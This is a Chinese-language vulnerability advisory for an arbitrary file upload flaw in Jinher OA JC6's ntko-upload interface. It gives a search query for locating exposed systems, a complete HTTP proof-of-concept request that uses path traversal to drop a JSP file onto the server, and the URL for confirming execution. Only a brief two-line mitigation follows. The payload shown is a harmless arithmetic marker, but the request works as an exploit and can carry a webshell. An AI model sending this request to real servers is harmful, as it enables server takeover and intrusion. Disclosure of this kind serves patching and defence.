金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。
金和 OA JC6 ntko-upload接口处存在任意文件上传漏洞,攻击者可以通过构造特殊请求包上传恶意后门文件,从而获取服务器权限。
app=“Jinher-OA”
POC:
POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Length: 471
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: multipart/form-data; boundary=----642104131961923685084028
Connection: close
------642104131961923685084028
Content-Disposition: form-data; name="filename"
../../../../upload/fuzz.jsp
------642104131961923685084028
Content-Disposition: form-data; name="upLoadFile"; filename="fuzz.jpg"
Content-Type: image/jpeg
<% out.println(333*2); %>
------642104131961923685084028
Content-Disposition: form-data; name="Submit"
upload
------642104131961923685084028--
访问上传路径
http://your_ip/upload/fuzz.jsp
1、升级到安全版本
2、如非必要,禁止公网访问该系统或设置白名单访问。